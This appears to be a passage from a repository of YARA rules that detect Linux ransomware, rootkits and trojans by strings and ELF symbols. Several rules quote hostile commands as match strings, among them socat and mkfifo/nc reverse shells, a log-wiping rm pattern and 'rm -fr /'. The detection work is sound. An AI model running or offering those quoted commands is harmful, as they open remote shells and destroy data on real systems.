| // ) and 276 | // ( 277 | // for 1 i in (0 .. elf.dynsym_entries): 278 | // ( 279 | // elf.dynsym[i].type == elf.STT_FUNC and 280 | // ( 281 | // elf.dynsym[i].name == "dup" or 282 | // elf.dynsym[i].name == "dup2" or 283 | // elf.dynsym[i].name == "dup3" 284 | // ) 285 | // ) 286 | // ) 287 | // } 288 | 289 | // rule OSCommand_Syslog_Removal { 290 | // meta: 291 | // author = "Nong Hoang Tu" 292 | // email = "dmknght@parrotsec.org" 293 | // description = "Bash command to remove everything in /var/log/" 294 | // date = "12/11/2021" 295 | // refrence = "https://otx.alienvault.com/indicator/file/6138054a7de11c23b5c26755d7548c4096fa547cbb964ac78ef0fbe59d16c2da" 296 | // strings: 297 | // $ = /rm(\/var\/log[\S\/ \-]+|\-rf|[ ])+/ 298 | // condition: 299 | // all of them 300 | // } 301 | -------------------------------------------------------------------------------- /rules/magics.yar: -------------------------------------------------------------------------------- 1 | /* 2 | https://en.wikipedia.org/wiki/Executable_and_Linkable_Format 3 | Rules to detect ELF file. 4 | */ 5 | 6 | private rule elf_magic { 7 | condition: 8 | uint32(0) == 0x464c457f 9 | } 10 | 11 | private rule elf_rel { 12 | condition: 13 | elf_magic and uint16(16) == 0x01 14 | } 15 | 16 | private rule elf_exec { 17 | condition: 18 | elf_magic and uint16(16) == 0x02 19 | } 20 | 21 | private rule elf_dyn { 22 | condition: 23 | elf_magic and uint16(16) == 0x03 24 | } 25 | 26 | 27 | private rule xdg_desktop_entry { 28 | condition: 29 | uint32(0) == 0x7365445B and uint32(11) == 0x5D797274 30 | } 31 | 32 | 33 | private rule xml_magic { 34 | condition: 35 | uint32(0) == 0x6d783f3c 36 | } 37 | 38 | // TODO add shebang for perl, php, bash and other scripting languages 39 | private rule shebang_magic { 40 | condition: 41 | uint16(0) == 0x2123 42 | } 43 | 44 | 45 | private rule pyc_magic { 46 | // First 2 bytes: Py version https://github.com/google/pytype/blob/main/pytype/pyc/magic.py 47 | condition: 48 | uint16(2) == 0x0a0d 49 | } 50 | -------------------------------------------------------------------------------- /rules/ransomware.yar: -------------------------------------------------------------------------------- 1 | include "rules/magics.yar" 2 | 3 | 4 | rule Buhti_Generic { 5 | // https://www.hybrid-analysis.com/yara-search/results/253e29c1998bdf14e711bf2873a464db7ae59d9551e4fdee754e7abe27b56551 6 | strings: 7 | $ = "Welcome to buhtiRansom" fullword ascii 8 | $ = "https://satoshidisk.com/pay/CHfZ5r" fullword ascii 9 | condition: 10 | elf_magic and all of them 11 | } 12 | 13 | 14 | // rule Aris_Generic { 15 | // meta: 16 | // author = "Nong Hoang Tu" 17 | // email = "dmknght@parrotsec.org" 18 | // date = "17/11/2021" 19 | // strings: 20 | // $1 = "bc1qef3d3ryemlunehdxtx8xvrkdt3w6cgzj8skl2c" 21 | // $2 = "Congrats you have been hit by the ArisLocker so lets talk about recovering your files" 22 | // condition: 23 | // all of them 24 | // } 25 | 26 | // rule ChastityLock_Generic { 27 | // meta: 28 | // author = "Nong Hoang Tu" 29 | // email = "dmknght@parrotsec.org" 30 | // date = "17/11/2021" 31 | // strings: 32 | // $1 = "www.qiuitoy.com" nocase 33 | // $2 = "ransoming %d:%s from %d:%s" 34 | // condition: 35 | // any of them 36 | // } 37 | 38 | // rule Scrypt_Generic { 39 | // meta: 40 | // author = "Nong Hoang Tu" 41 | // email = "dmknght@parrotsec.org" 42 | // date = "17/11/2021" 43 | // strings: 44 | // $1 = "All Your Files Have Been Encrypted" 45 | // $2 = "BTC Address:" 46 | // $3 = "UniqueID:" 47 | // condition: 48 | // all of them 49 | // } 50 | -------------------------------------------------------------------------------- /rules/rootkit.yar: -------------------------------------------------------------------------------- 1 | include "rules/magics.yar" 2 | import "elf" 3 | import "hash" 4 | 5 | 6 | rule Diamorphine_Genneric { 7 | // meta: 8 | // description = "Detect open source Rootkit Diamorphine" 9 | // github = "https://github.com/m0nad/Diamorphine/" 10 | // md5 = "ede0f3dc66c6ec8c1ec9648e8118bced" 11 | strings: 12 | $ = "diamorphine_secret" fullword ascii 13 | $ = "include/linux/thread_info.h" fullword ascii 14 | $ = "kallsyms_lookup_name" fullword ascii 15 | condition: 16 | elf_rel and all of them 17 | } 18 | 19 | rule Father_Generic { 20 | // meta: 21 | // descriptions = "Detect .so binary file made" 22 | // github = "https://github.com/mav8557/Father" 23 | // md5 = "4f90604f04fe12f4e91b2bab13426fc0" 24 | strings: 25 | $ = "v-pY" fullword ascii 26 | $ = "^(Hd" fullword ascii 27 | $ = "lpe_drop_shell" fullword ascii 28 | $ = "falsify_tcp" fullword ascii 29 | condition: 30 | elf_dyn and 2 of them 31 | } 32 | 33 | 34 | rule BrokePkg_Generic { 35 | // meta: 36 | // description = "Kernel module file of brokepkg" 37 | // github = "https://github.com/R3tr074/brokepkg" 38 | // md5 = "bb19d79bc2523ed663ea0c26f49b6425" 39 | strings: 40 | $ = "br0k3_n0w_h1dd3n" fullword ascii 41 | $ = "fh_install_hook" fullword ascii 42 | $ = "6brokepkg" fullword ascii 43 | $ = "socat openssl-connect:%s:%s,verify=0 exec:'bash -li',pty,stderr,setsid,sigint,sane" fullword ascii 44 | $ = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %s >/tmp/f" fullword ascii 45 | condition: 46 | elf_rel and 47 | ( 48 | for 3 f_dynsym in elf.dynsym: 49 | ( 50 | for any f_name in ("fh_install_hooks", "port_hide", "hide_pid"): 51 | ( 52 | f_dynsym.type == elf.STT_FUNC and f_dynsym.name == f_name 53 | ) 54 | ) or 2 of them 55 | ) 56 | } 57 | 58 | rule Symbiote_a0d1 { 59 | // meta: 60 | // description = "ELF EXE file of 5 samples" 61 | // md5 = "a0d1e1ec8207c83c7d2d52ff65f0e159" 62 | strings: 63 | $ = "TUNNEL_CONNECT" fullword ascii 64 | $ = "COMMAND_SHELL" fullword ascii 65 | $ = "./dnscat" fullword ascii 66 | $ = "Type = FIN" fullword ascii 67 | condition: 68 | elf_exec and all of them 69 | } 70 | 71 | 72 | rule Symbiote_0c27 { 73 | // meta: 74 | // description = "First DYN file of 5 samples" 75 | // md5 = "0c278f60cc4d36741e7e4d935fd2972f" 76 | // md5 = "59033839c1be695c83a68924979fab58" 77 | // md5 = "4d8ebed6943ff05118baf30be9515b83" 78 | // md5 = "87bb1d7e3639be2b21df8a7a273b60c8" 79 | strings: 80 | $h1 = "hidden_ports" fullword ascii 81 | $h2 = "hidden_address" fullword ascii 82 | $h3 = "hidden_file" fullword ascii 83 | $h4 = "hidden_proc" fullword ascii 84 | $s1 = "suporte42atendimento53log" fullword ascii 85 | $s2 = ">g^VI" fullword ascii 86 | $s3 = "px32.nss.atendimento-estilo.com" fullword ascii 87 | condition: 88 | elf_dyn and any of ($h*) and any of ($s*) 89 | } 90 | 91 | 92 | rule Boopkit_Generic { 93 | // meta: 94 | // github = "https://github.com/krisnova/boopkit" 95 | // description = "Exec file of the toolkit" 96 | // md5 = "7a00da9408fb313c09bb2208f2745354" 97 | strings: 98 | $ = "boopkit." fullword ascii 99 | $ = "Found RCE" fullword ascii 100 | $ = "X*x.HALT.x*X" fullword ascii 101 | condition: 102 | elf_exec and 103 | ( 104 | for any f_symtab in elf.symtab: 105 | ( 106 | for any symbol_name in ("boopprintf", "rce_filter", "runtime__boopkit"): 107 | ( 108 | f_symtab.name == symbol_name and 109 | ( 110 | f_symtab.type == elf.STT_FUNC or 111 | f_symtab.type == elf.STT_OBJECT 112 | ) 113 | ) 114 | ) or 2 of them 115 | ) 116 | } 117 | 118 | 119 | rule Boopkit_Lib { 120 | // Detect .so file of boopkit "https://github.com/krisnova/boopkit 121 | // Export: 122 | // __packed, LICENSE object (multiple files) 123 | // pid_to_hide object, pr0be.safe.so 124 | condition: 125 | elf_magic and 126 | ( 127 | for any f_symtab in elf.symtab: 128 | ( 129 | for any symbol_name in ("__packed", "pid_to_hide"): 130 | ( 131 | f_symtab.name == symbol_name and 132 | f_symtab.type == elf.STT_OBJECT 133 | ) 134 | ) 135 | ) 136 | } 137 | 138 | 139 | rule Orbit_ba61 { 140 | // meta: 141 | // hash = "ba61e17c5fbcd6288081b31210f6cae6" 142 | // description = "Orbit library file" 143 | strings: 144 | $ = "load_hidden_ports" fullword ascii 145 | $ = "tcp_port_hidden" fullword ascii 146 | $ = "sniff_ssh_session" fullword ascii 147 | $ = "ld.so.nohwcap" fullword ascii 148 | $ = "patch_ld" fullword ascii 149 | condition: 150 | elf_dyn and 3 of them 151 | } 152 | 153 | 154 | // rule HCRootkit_Generic { 155 | // meta: 156 | // description = "Detects Linux HCRootkit, as reported by Avast" 157 | // description = "Modified from original LaceworkLabs's rules" 158 | // author = "Lacework Labs" 159 | // ref = "https://www.lacework.com/blog/hcrootkit-sutersu-linux-rootkit-analysis/" 160 | // strings: 161 | // $a1 = "/tmp/.tmp_XXXXXX" 162 | // $a2 = "/proc/.inl" 163 | // $a3 = "rootkit" 164 | 165 | // $s1 = "s_hide_pids" 166 | // $s2 = "handler_kallsyms_lookup_name" 167 | // $s3 = "s_proc_ino" 168 | // $s4 = "n_filldir" 169 | // $s5 = "s_hide_tcp4_ports" 170 | // $s6 = "s_hide_strs" 171 | // $s7 = "kp_kallsyms_lookup_name" 172 | // $s8 = "s_hook_remote_ip" 173 | // $s9 = "s_hook_remote_port" 174 | // $s10 = "s_hook_local_port" 175 | // $s11 = "s_hook_local_ip" 176 | // $s12 = "nf_hook_pre_routing" 177 | // condition: 178 | // all of ($a*) or 5 of ($s*) 179 | // } 180 | 181 | 182 | rule Suterusu_Generic { 183 | // meta: 184 | // description = "Detects open source rootkit named suterusu" 185 | // hash1 = "7e5b97135e9a68000fd3efee51dc5822f623b3183aecc69b42bde6d4b666cfe1" 186 | // hash2 = "7b48feabd0ffc72833043b14f9e0976511cfde39fd0174a40d1edb5310768db3" 187 | // author = "Lacework Labs" 188 | // ref = "https://www.lacework.com/blog/hcrootkit-sutersu-linux-rootkit-analysis/" 189 | strings: 190 | $ = "suterusu" 191 | $ = "srcversion=" 192 | $ = "Hiding PID" 193 | $ = "/proc/net/tcp" 194 | condition: 195 | elf_magic and all of them 196 | } 197 | 198 | 199 | rule Umbreon_Generic { 200 | // meta: 201 | // description = "Catches Umbreon rootkit" 202 | // reference = "http://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems" 203 | // author = "Fernando Merces, FTR, Trend Micro" 204 | // date = "2016-08" 205 | strings: 206 | $ = { 75 6e 66 75 63 6b 5f 6c 69 6e 6b 6d 61 70 } 207 | $ = "unhide.rb" fullword 208 | $ = "rkit" fullword 209 | condition: 210 | elf_dyn and all of them 211 | } 212 | 213 | 214 | rule Umbreon_Strace { 215 | // meta: 216 | // description = "Catches Umbreon strace rootkit component" 217 | // reference = "http://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems" 218 | // author = "Fernando Merces, FTR, Trend Micro" 219 | // date = "2016-08" 220 | strings: 221 | $ = "LD_PRELOAD" fullword 222 | $ = /ld\.so\.[a-zA-Z0-9]{7}/ fullword 223 | $ = "\"/etc/ld.so.preload\"" fullword 224 | $ = "fputs_unlocked" fullword 225 | condition: 226 | elf_dyn and all of them 227 | } 228 | 229 | 230 | rule Umbreon_Espeon { 231 | // meta: 232 | // description = "Catches Umbreon strace rootkit component" 233 | // reference = "http://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems" 234 | // author = "Fernando Merces, FTR, Trend Micro" 235 | // date = "2016-08" 236 | strings: 237 | $ = "Usage: %s [interface]" fullword 238 | $ = "Options:" fullword 239 | $ = " interface Listen on for packets." fullword 240 | $ = "/bin/espeon-shell %s %hu" fullword 241 | $ = { 66 75 63 6b 20 6f 66 66 20 63 75 6e 74 } 242 | $ = "error: unrecognized command-line options" fullword 243 | condition: 244 | elf_dyn and all of them 245 | } 246 | 247 | 248 | rule Chfn_Generic { 249 | strings: 250 | $ = "setpwnam" fullword ascii 251 | condition: 252 | elf_magic and all of them 253 | } 254 | 255 | 256 | rule Brootkit_9659 { 257 | // meta: 258 | // md5 = "96597264b066ed19f273d8bd2e329996" 259 | // url = "https://bazaar.abuse.ch/sample/371ce879928eb3f35f77bcb8841e90c5e0257638b67989dc3d025823389b3f79/" 260 | // description = "A Bash script to install rootkit" 261 | strings: 262 | $ = "br_hide_engine" fullword ascii 263 | $ = "brootkit_func" fullword ascii 264 | $ = "br_hide_file" fullword ascii 265 | $ = "br_hide_proc" fullword ascii 266 | $ = "br_hide_port" fullword ascii 267 | condition: 268 | shebang_magic and 3 of them 269 | } 270 | 271 | 272 | rule Suckit_Generic { 273 | strings: 274 | $ = "Starting backdoor daemon" fullword ascii 275 | $ = "Backdoor made by" fullword ascii 276 | $ = "Can't execve shell" fullword ascii 277 | $ = "pqrstuvwxyzabcde" fullword ascii 278 | $ = "FUCK: Can't fork child" fullword ascii 279 | $ = "Please enter new rootkit password" fullword ascii 280 | $ = "Failed to hide pid" fullword ascii 281 | $ = "Failed to unhide pid" fullword ascii 282 | condition: 283 | elf_magic and 3 of them 284 | } 285 | 286 | 287 | // rule Knark_Generic { 288 | // meta: 289 | // author = "Nong Hoang Tu " 290 | // date = "17/11/2021" 291 | // strings: 292 | // $path_1 = "/usr/lib/.hax0r/sshd_trojan" 293 | // $path_2 = "/usr/local/sbin/sshd" 294 | // $path_3 = "/usr/lib/.hax0r" 295 | // $cmd_1 = "hidef" 296 | // $cmd_2 = "unhidef" 297 | // $cmd_3 = "nethides" 298 | // $cmd_4 = "verify_rexec" 299 | // $s1 = "Knark rexec verify-packet must be one of:" 300 | // $s2 = "nark %s by Creed @" 301 | // $s3 = "fikadags?" 302 | // $s4 = "%s -c (clear nethide-list)" 303 | // $s5 = "ex: %s www.microsoft.com 192.168.1.77 /bin/rm -fr /" 304 | // $s6 = "Have you really loaded knark.o?!" 305 | // $s7 = "alluid or allgid can be used to specify all *uid's or *gid's" 306 | // condition: 307 | // any of ($s*) or ( 308 | // any of ($path*) and any of ($cmd*) 309 | // ) 310 | // } 311 | 312 | 313 | // rule Ark_AR { 314 | // meta: 315 | // author = "Nong Hoang Tu" 316 | // email = "dmknght@parrotsec.org" 317 | // date = "17/11/2021" 318 | // hash = "06d8660ace1f3ef557a7df2e85623cce" 319 | // strings: 320 | // $1 = "Mmmkay.. Time to backdoor thiz slut.." 321 | // $2 = "Backdooring Completed" 322 | // $3 = "ARK-[ You may want to supply a password" 323 | // $4 = "ARK-[ Welcome to ARK" 324 | // condition: 325 | // 2 of them 326 | // } 327 | 328 | 329 | // rule Ark_DU { 330 | // meta: 331 | // author = "Nong Hoang Tu" 332 | // email = "dmknght@parrotsec.org" 333 | // date = "17/11/2021" 334 | // hash = "58f6c91ca922aa3d6f6b79b218e62b46" 335 | // strings: 336 | // $path_1 = "/usr/lib/.ark" 337 | // $s1 = "ptyxx" 338 | // $s2 = "SUBJECT: `/sbin/ifconfig eth0 | grep 'inet addr' | awk '{print $2}' | sed -e 's/.*://'`" 339 | // $mail_1 = "tuiqoitu039t09q3@bigfoot.com" 340 | // $mail_2 = "bnadfjg9023@hotmail.com" 341 | // $mail_3 = "t391u9t0qit@end-war.com" 342 | // $mail_4 = "mki62969o@yahoo.com" 343 | // condition: 344 | // (is_elf and $path_1 and $s1) or $s2 or any of ($mail*) 345 | // } 346 | 347 | 348 | // rule Lrk_B_Fix { 349 | // meta: 350 | // author = "Nong Hoang Tu" 351 | // email = "dmknght@parrotsec.org" 352 | // date = "17/11/2021" 353 | // hash = "a29f6927825c948c5df847505fe2dd11" 354 | // strings: 355 | // $1 = "fix original replacement [backup]" 356 | // $2 = "Last 17 bytes not zero" 357 | // $3 = "Can't fix checksum" 358 | // condition: 359 | // $1 or ($2 and $3) 360 | // } 361 | 362 | 363 | // rule Lrk_B_Lled { 364 | // meta: 365 | // author = "Nong Hoang Tu" 366 | // email = "dmknght@parrotsec.org" 367 | // date = "17/11/2021" 368 | // hash = "bf10ff4214716f20bcd23227c6b6c0bb" 369 | // strings: 370 | // $1 = "/var/adm/lastlog" 371 | // $2 = "lastlog.tmp" 372 | // $3 = "Erase entry (y/n/f(astforward))?" 373 | // $4 = "/var/adm/wtmp" 374 | // $5 = "wtmp.tmp" 375 | // condition: 376 | // ($1 and $2) or ($4 and $5) and $3 377 | // } 378 | 379 | 380 | // rule Lrk_B_Z2 { 381 | // meta: 382 | // author = "Nong Hoang Tu" 383 | // email = "dmknght@parrotsec.org" 384 | // date = "17/11/2021" 385 | // hash = "0181b03af8360480baf346007ec76849" 386 | // strings: 387 | // $1 = "/etc/utmp" 388 | // $2 = "/usr/adm/wtmp" 389 | // $3 = "/usr/adm/lastlog" 390 | // $4 = /Zap[\d]/ 391 | // condition: 392 | // all of them 393 | // } 394 | 395 | 396 | // rule Lrk_E_Sniffchk { 397 | // meta: 398 | // author = "Nong Hoang Tu" 399 | // email = "dmknght@parrotsec.org" 400 | // date = "17/11/2021" 401 | // hash = "82a61d8b23956703f164b06968a8e599" 402 | // strings: 403 | // $1 = "The_l0gz" 404 | // $3 = "Sniffer running" 405 | // $4 = "Restarting sniffer..." 406 | // condition: 407 | // is_elf and any of them 408 | // } 409 | 410 | 411 | // rule Lrk_E_BindhShell { 412 | // meta: 413 | // author = "Nong Hoang Tu" 414 | // email = "dmknght@parrotsec.org" 415 | // date = "17/11/2021" 416 | // hash = "96702b7180082a00b2ced1a243360ed6" 417 | // strings: 418 | // $1 = "(nfsiod)" 419 | // $2 = "/bin/sh" 420 | // condition: 421 | // is_elf and all of them 422 | // } 423 | 424 | 425 | // rule Rkit_A { 426 | // meta: 427 | // author = "Nong Hoang Tu" 428 | // email = "dmknght@parrotsec.org" 429 | // date = "17/11/2021" 430 | // strings: 431 | // $1 = "rootkit() failed!" 432 | // $2 = "password guesses exhausted" 433 | // $3 = "rkit by Deathr0w" 434 | // $4 = "deathr0w.speckz.com" 435 | // condition: 436 | // is_elf and any of them 437 | // } 438 | 439 | 440 | // rule Rkit_Pwd { 441 | // meta: 442 | // author = "Nong Hoang Tu" 443 | // email = "dmknght@parrotsec.org" 444 | // date = "17/11/2021" 445 | // strings: 446 | // $1 = "./.rkpass" 447 | // $2 = "Enter a new password [1-8 characters]" 448 | // $3 = "Writing to file: %s failed! Exiting..." 449 | // $4 = "Opening of file: %s failed! Exiting..." 450 | // $5 = "Saved new password to file: %" 451 | // condition: 452 | // (is_elf and $1) or ($2 and $3 and $4 and $5) 453 | // } 454 | 455 | 456 | // rule Urk_Generic { 457 | // meta: 458 | // author = "Nong Hoang Tu" 459 | // email = "dmknght@parrotsec.org" 460 | // date = "17/11/2021" 461 | // strings: 462 | // $1 = "Inverses the bit's in a file to make it unreadable." 463 | // $2 = "@(#)log" 464 | // $3 = " (Berkeley) " 465 | // $4 = "UX:login: ERROR: Login incorrect" 466 | // $5 = "User %s (gid %d) from %s: %s" 467 | // condition: 468 | // is_elf and any of them 469 | // } 470 | 471 | 472 | // rule Ark_Lrkv { 473 | // strings: 474 | // $1 = "RadCxmnlogrtucpFbqisfL" 475 | // $2 = /@\(#\)[w]+.c/ 476 | // $3 = "acCegjklnrStuvwxU" 477 | // $4 = "usage: du [-ars] [name ...]" 478 | // $5 = "du: No more processes" 479 | // condition: 480 | // any of them 481 | // } 482 | 483 | 484 | // rule Phalanx_B6 { 485 | // meta: 486 | // author = "Nong Hoang Tu" 487 | // email = "dmknght@parrotsec.org" 488 | // date = "29/11/2021" 489 | // reference = "https://packetstormsecurity.com/files/download/42556/phalanx-b6.tar.bz2" 490 | // strings: 491 | // $1 = "/sbin/ifconfig|grep inet|head -1|awk '{print $2}'|cut -f 2 -d :" 492 | // $2 = "phalanX beta 6 connected" 493 | // $4 = "uninstalling phalanx from the kernel" 494 | // $5 = "testing the userland process spawning code" 495 | // condition: 496 | // any of them 497 | // } 498 | 499 | 500 | // rule Adore_Generic { 501 | // meta: 502 | // author = "Nong Hoang Tu" 503 | // email = "dmknght@parrotsec.org" 504 | // date = "29/11/2021" 505 | // reference = "https://github.com/yaoyumeng/adore-ng" 506 | // strings: 507 | // $1 = "Failed to run as root. Trying anyway ..." 508 | // $2 = "Adore 1.%d installed. Good luck." 509 | // $3 = "Made PID %d invisible." 510 | // $4 = "ELITE_UID: %u, ELITE_GID=%u, ADORE_KEY=%s" 511 | // $5 = "Removed PID %d from taskstruct" 512 | // condition: 513 | // any of them 514 | // } 515 | 516 | 517 | // rule Bvp47_A { 518 | // meta: 519 | // author = "Nong Hoang Tu" 520 | // email = "dmknght@parrotsec.org" 521 | // date = "24/02/2022" 522 | // description = "NSA-linked Bvp47 Linux backdoor" 523 | // md5 = "58b6696496450f254b1423ea018716dc" 524 | // reference = "https://bazaar.abuse.ch/sample/7989032a5a2baece889100c4cfeca81f1da1241ab47365dad89107e417ce7bac/" 525 | // strings: 526 | // // Encrypted strings from binary 527 | // $long_1 = "e86dd99a33cb9df96e793518f659746f8cc3d9ac39413871f5afd58d7d00685ab0c449d62aa35c865a133dff" 528 | // $short_1 = "NWlas" 529 | // $short_2 = "qKizlbKRbFdM" 530 | // $short_3 = "xdkzVqtnab" 531 | // $short_4 = "ihRCzr" 532 | // $short_5 = "dXRuFsbUutDV" 533 | // $short_6 = "NcGNaOrdVC" 534 | // condition: 535 | // $long_1 or 4 of ($short_*) 536 | // } 537 | 538 | 539 | // todo atk rootkit https://github.com/millken/kdev/tree/master/4atk%201.05new 540 | // 541 | // rule KokainKit { TODO: the script generates multiple scripts. I have to work to search match all of files. 542 | // meta: 543 | // author = "Nong Hoang Tu" 544 | // email = "dmknght@parrotsec.org" 545 | // description = "Kokain, Knark" 546 | // reference = "https://otx.alienvault.com/indicator/file/0e08cfb2d92b67ad67e7014e2e91849be3ef1b13c201b7ae928a1bab5a010b5b" 547 | // date = "12/11/2021" 548 | // target = "File, memory" 549 | // strings: 550 | // $1 = "TORNDIR=/usr/src/.puta" 551 | // $2 = "THEDIR=/usr/lib/$THEPASS" 552 | // $3 = "if ! test \"$(whoami)\" = \"root\"; then" 553 | // condition: 554 | // all of them 555 | // } 556 | 557 | 558 | // rule Agent_ed80 { 559 | // meta: 560 | // author = "Nong Hoang Tu" 561 | // email = "dmknght@parrotsec.org" 562 | // hash = "ed80f05f474ba2471e5dc5611a900f4a" 563 | // strings: 564 | // $1 = "USAGE: %s dst-net-addr dst-port src-addr usleep-time" 565 | // $2 = "Randomizing port numbers" 566 | // condition: 567 | // all of them 568 | // } 569 | 570 | 571 | rule Rootkit_4d1e { 572 | // meta: 573 | // hash = "4d1e6120a5c05b709435925e967a7e43" 574 | strings: 575 | // Normal strings in /usr/bin/dir, /usr/bin/ls 576 | $ = "hide-control-chars" fullword ascii 577 | $ = "ignore-backups" fullword ascii 578 | // Uniq strings 579 | $ = "abcdfgiklmnopqrstuw:xABCDFGI:LNQRST:UX178" fullword ascii 580 | condition: 581 | elf_magic and all of them 582 | } 583 | 584 | 585 | rule Rootkit_a669 { 586 | // meta: 587 | // md5 = "1fccc4f70c2c800173b7c56558b74a95" 588 | // md5 = "acf87e0165bc121eb384346d10c74997" 589 | // descriptions = "Unknown Linux rootkit" 590 | strings: 591 | $ = "/proc/self/fd/%d" fullword ascii 592 | $ = "/proc/%s/stat" fullword ascii 593 | $ = "%d (%[^)]s" fullword ascii 594 | $ = "Error in dlsym: %s" fullword ascii 595 | condition: 596 | elf_dyn and all of them 597 | } 598 | 599 | 600 | rule Kinsing_ccef { 601 | // meta: 602 | // md5 = "ccef46c7edf9131ccffc47bd69eb743b" 603 | // sha256 = "c38c21120d8c17688f9aeb2af5bdafb6b75e1d2673b025b720e50232f888808a" 604 | // description = "Kinsing rootkit from malwareBazaar" 605 | strings: 606 | $ = "is_hidden_file.c" fullword ascii 607 | $ = "%d (%[^)]s" fullword ascii 608 | $ = "chopN" fullword ascii 609 | condition: 610 | elf_dyn and 611 | ( 612 | for 2 f_dynsym in elf.dynsym: 613 | ( 614 | for any f_name in ("is_hidden_file", "is_attacker", "hide_tcp_ports"): 615 | ( 616 | f_dynsym.type == elf.STT_FUNC and 617 | f_dynsym.name == f_name 618 | ) 619 | ) or all of them 620 | ) 621 | } 622 | 623 | 624 | rule Winnti_7f47 { 625 | // meta: 626 | // md5 = "7f4764c6e6dabd262341fd23a9b105a3" 627 | // sha256 = "ae9d6848f33644795a0cc3928a76ea194b99da3c10f802db22034d9f695a0c23" 628 | strings: 629 | $ = "HIDE_THIS_SHELL" fullword ascii 630 | $ = "10CSocks5Mgr" fullword ascii 631 | condition: 632 | elf_exec and all of them 633 | } 634 | 635 | 636 | rule Winnti_1acb { 637 | // meta: 638 | // md5 = "1acb326773d6ba28d916871cb91af844" 639 | // sha256 = "3b378846bc429fdf9bec08b9635885267d8d269f6d941ab1d6e526a03304331b" 640 | strings: 641 | $ = "Yi-!*" fullword ascii 642 | $ = {(7c | 3d) (42 | 43) 66 4b} 643 | $ = "get_our_sockets" fullword ascii 644 | $ = "cmdlineH" fullword ascii 645 | $ = "is_invisible_with_pids" fullword ascii 646 | condition: 647 | elf_dyn and 648 | ( 649 | for 2 f_dynsym in elf.dynsym: 650 | ( 651 | for any f_name in ("is_invisible_with_pids", "get_our_pids", "get_our_sockets", "check_is_our_proc_dir"): 652 | ( 653 | f_dynsym.type == elf.STT_FUNC and 654 | f_dynsym.name == f_name 655 | ) 656 | ) or 2 of them 657 | ) 658 | } 659 | 660 | 661 | rule Vbackdoor_Generic { 662 | // meta: 663 | // md5 = "b3a0336574fed5bdcd08668074922fcb" 664 | // sha256 = "b33b3f3a6b85be99b02118b28ce34ad239705ce578e9da19db3c25e255dded78" 665 | strings: 666 | $ = "forge_proc_net_tcp" fullword ascii 667 | $ = "dlopen" fullword ascii 668 | $ = "#$&(" fullword ascii 669 | $ = "W @j" fullword ascii 670 | condition: 671 | elf_dyn and 3 of them 672 | } 673 | 674 | 675 | rule Statiyicrhge_Genneric { 676 | // meta: 677 | // url = "https://www.hybrid-analysis.com/sample/017a9d7290cf327444d23227518ab612111ca148da7225e64a9f6ebd253449ab" 678 | strings: 679 | $ = "statiyicrhge" fullword ascii 680 | $ = "gsdj500vt" fullword ascii 681 | $ = "whoamiqumxyv" fullword ascii 682 | $ = "lscpuwbbzeix" fullword ascii 683 | $ = "wallpsogjwf" fullword ascii 684 | $ = "lscpuwbbzeix" fullword ascii 685 | $ = "Unhiding self" fullword ascii 686 | $ = "BMCUJDPLBTQWRIED" fullword ascii 687 | $ = "path now hidden" fullword ascii 688 | $ = "ICMP backdoor" fullword ascii 689 | $ = "Accept backdoor port" fullword ascii 690 | $ = "sshd: xcfhxar" fullword ascii 691 | condition: 692 | elf_dyn and 5 of them 693 | } 694 | 695 | 696 | rule VnQE6mk_Generic { 697 | // meta: 698 | // url = "https://www.hybrid-analysis.com/sample/f1612924814ac73339f777b48b0de28b716d606e142d4d3f4308ec648e3f56c8" 699 | strings: 700 | $ = "libntpVnQE6mk" fullword ascii 701 | $ = "chown -R 920366:920366" fullword ascii 702 | $ = "exec ~/bin/python ~/bin/escalator" base64 703 | $ = "os.setreuid(0,0)" base64 704 | $ = "os.execv(\"/bin/bash\", (\"/bin/bash\", \"-i\"))" base64 705 | $ = "lib0UZ0LfvWZ.so" fullword ascii 706 | condition: 707 | elf_exec and 3 of them 708 | } 709 | 710 | 711 | rule Userland_bc62 { 712 | // meta: 713 | // url = "https://www.hybrid-analysis.com/sample/bc62adb9d444542a2206c4fc88f54f032228c480cd35d0be624923e168987a1c/5f5ac948b7b024659c4d9ca8" 714 | /* 715 | dynsym: 716 | - fake_map 717 | - is_file_hidden 718 | */ 719 | strings: 720 | $ = "LD_PRELOH" fullword ascii 721 | $ = "lib0pus.so" fullword ascii 722 | condition: 723 | elf_dyn and ( 724 | for 2 f_dyn in elf.dynsym: ( 725 | for any f_name in ("is_file_hidden", "fake_map"): 726 | ( 727 | f_dyn.name == f_name and f_dyn.type == elf.STT_FUNC 728 | ) 729 | ) or 2 of them 730 | ) 731 | } 732 | 733 | 734 | // rule LDPreload_ImpFuncs { 735 | /* 736 | False positives 737 | Rkit:LDPreload.ImpFuncs /usr/bin/i686-w64-mingw32-ld 738 | Rkit:LDPreload.ImpFuncs /usr/bin/i686-w64-mingw32-objdump 739 | Rkit:LDPreload.ImpFuncs /usr/bin/x86_64-w64-mingw32-ld 740 | Rkit:LDPreload.ImpFuncs /usr/bin/x86_64-w64-mingw32-objdump 741 | */ 742 | // // meta: 743 | // // description = "Find DYN ELF bins that imports common function LD_PRELOAD rootkits hook" 744 | // condition: 745 | // // The limitation of dynsym_entries number is to avoid false positive detecting libc 746 | // elf_dyn and elf.dynsym_entries < 300 and ( 747 | // for 7 f_dynsym in elf.dynsym: 748 | // ( 749 | // for any f_name in ("access", "dlsym", "fopen", "lstat", "strstr", "tmpfile", "unlink"): 750 | // ( 751 | // f_dynsym.type == elf.STT_FUNC and 752 | // f_dynsym.name == f_name 753 | // ) 754 | // ) 755 | // ) 756 | // } 757 | -------------------------------------------------------------------------------- /rules/trojan.yar: -------------------------------------------------------------------------------- 1 | import "elf" 2 | import "hash" 3 | include "rules/magics.yar" 4 | 5 | 6 | rule Shellcode_9db6 { 7 | // meta: 8 | // descriptions = "A shellcode executor" 9 | // md5 = "9db6918b94456e4f7fc981b5e3cf289e" 10 | strings: 11 | // Value in shellcode 12 | $ = "kl q60?" 13 | $ = "&'Qm" 14 | condition: 15 | elf_exec and all of them 16 | } 17 | 18 | 19 | rule SSHD_95d7 { 20 | // meta: 21 | // description = "SSH Backdoor" 22 | // md5 = "95d7335fa643949534f128795c8ac21c" 23 | strings: 24 | $ = 